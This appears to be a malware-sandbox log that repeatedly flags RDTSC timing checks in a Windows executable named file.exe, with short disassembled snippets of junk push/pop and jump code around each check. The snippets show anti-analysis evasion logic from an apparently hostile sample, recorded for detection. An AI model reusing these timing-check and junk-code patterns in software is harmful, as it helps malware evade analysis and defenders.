Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0991 second address: FF09C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD3h 0x00000007 jmp 00007FEC84DC6BCAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FEC84DC6BCCh 0x00000016 push ecx 0x00000017 jne 00007FEC84DC6BC6h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0F79 second address: FF0F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007FEC84B62E0Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF125D second address: FF1278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1278 second address: FF1282 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEC84B62E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF53AA second address: FF53AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF53AE second address: FF53B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5501 second address: FF5524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC84DC6BC6h 0x0000000a popad 0x0000000b jmp 00007FEC84DC6BD4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5524 second address: FF5528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5528 second address: FF552C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF552C second address: FF5532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5532 second address: FF553D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF553D second address: FF5559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FEC84B62E12h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5559 second address: FF5568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FEC84DC6BC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5568 second address: FF556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF56A7 second address: FF56AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF56AE second address: FF56B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FEC84B62E06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF56B9 second address: FF56CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b js 00007FEC84DC6BC6h 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF586A second address: FF5885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E15h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5885 second address: FF58A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC84DC6BD8h 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8D0A second address: FF8D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007FEC84B62E19h 0x0000000b jmp 00007FEC84B62E14h 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB86A second address: FFB876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEC84DC6BC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB876 second address: FFB87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB87A second address: FFB891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FEC84DC6BC8h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB891 second address: FFB895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBCC8 second address: FFBCCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBCCC second address: FFBD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FEC84B62E0Bh 0x0000000e jmp 00007FEC84B62E15h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FEC84B62E0Ah 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD06 second address: FFBD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD0A second address: FFBD2E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC84B62E06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FEC84B62E13h 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002751 second address: 1002757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10028BC second address: 10028C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10028C0 second address: 10028CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10028CA second address: 10028CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10028CE second address: 10028D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10028D8 second address: 10028DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10041E1 second address: 10041E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10041E5 second address: 1004206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E17h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004206 second address: 100420A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100420A second address: 1004210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004210 second address: 1004238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FEC84DC6BD4h 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FEC84DC6BC6h 0x00000014 jp 00007FEC84DC6BC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10083A8 second address: 10083AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C51E second address: 100C522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B665 second address: 100B66F instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC84B62E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B7B9 second address: 100B7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B7BD second address: 100B7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEC84B62E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEC84B62E14h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BB03 second address: 100BB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BCDh 0x00000009 popad 0x0000000a jnp 00007FEC84DC6BCEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BDC9 second address: 100BDDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF52 second address: 100BF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF56 second address: 100BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BF6F second address: 100BF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10111F9 second address: 101121E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEC84B62E11h 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007FEC84B62E06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019273 second address: 101928B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BD3h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101754C second address: 1017550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017990 second address: 1017996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017996 second address: 101799B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101799B second address: 10179BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEC84DC6BD1h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FEC84DC6BD8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179BC second address: 10179C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179C0 second address: 10179C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017B07 second address: 1017B11 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017C59 second address: 1017C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D80 second address: 1017D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D89 second address: 1017D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101803E second address: 1018052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007FEC84B62E0Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018052 second address: 101806C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEC84DC6BCDh 0x0000000a jnl 00007FEC84DC6BC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190C2 second address: 10190C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190C6 second address: 10190D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190D2 second address: 10190DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190DA second address: 10190DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190DF second address: 10190F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84B62E13h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190F6 second address: 10190FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190FC second address: 101910B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FEC84B62E06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10170E5 second address: 1017104 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC84DC6BC6h 0x00000008 jmp 00007FEC84DC6BD5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017104 second address: 1017116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Dh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F902 second address: 101F906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B60 second address: 1023B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025F7D second address: 1025F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025F83 second address: 1025FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEC84B62E18h 0x0000000c jmp 00007FEC84B62E17h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025FB9 second address: 1025FC5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC84DC6BC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025FC5 second address: 1025FCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025FCA second address: 1025FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025FD0 second address: 1025FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031492 second address: 10314A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD2h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030F24 second address: 1030F3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030F3F second address: 1030F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030F44 second address: 1030F5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC84B62E0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FEC84B62E06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035A71 second address: 1035A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035A75 second address: 1035A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035A79 second address: 1035A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035A7F second address: 1035A9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FEC84B62E06h 0x00000009 pop edx 0x0000000a jmp 00007FEC84B62E0Fh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035A9F second address: 1035AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035AA5 second address: 1035AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FEC84B62E18h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E6C1 second address: 104E6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D2DB second address: 104D2DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D452 second address: 104D45D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D45D second address: 104D462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D745 second address: 104D749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D749 second address: 104D75F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D75F second address: 104D784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC84DC6BCBh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FEC84DC6BD0h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D784 second address: 104D788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D788 second address: 104D7A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEC84DC6BD0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D7A3 second address: 104D7B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FEC84B62E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FEC84B62E06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104DA3F second address: 104DA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10537F4 second address: 10537FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105335A second address: 1053360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053360 second address: 1053365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053365 second address: 1053370 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007FEC84DC6BC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10534A6 second address: 10534AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10534AA second address: 10534C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
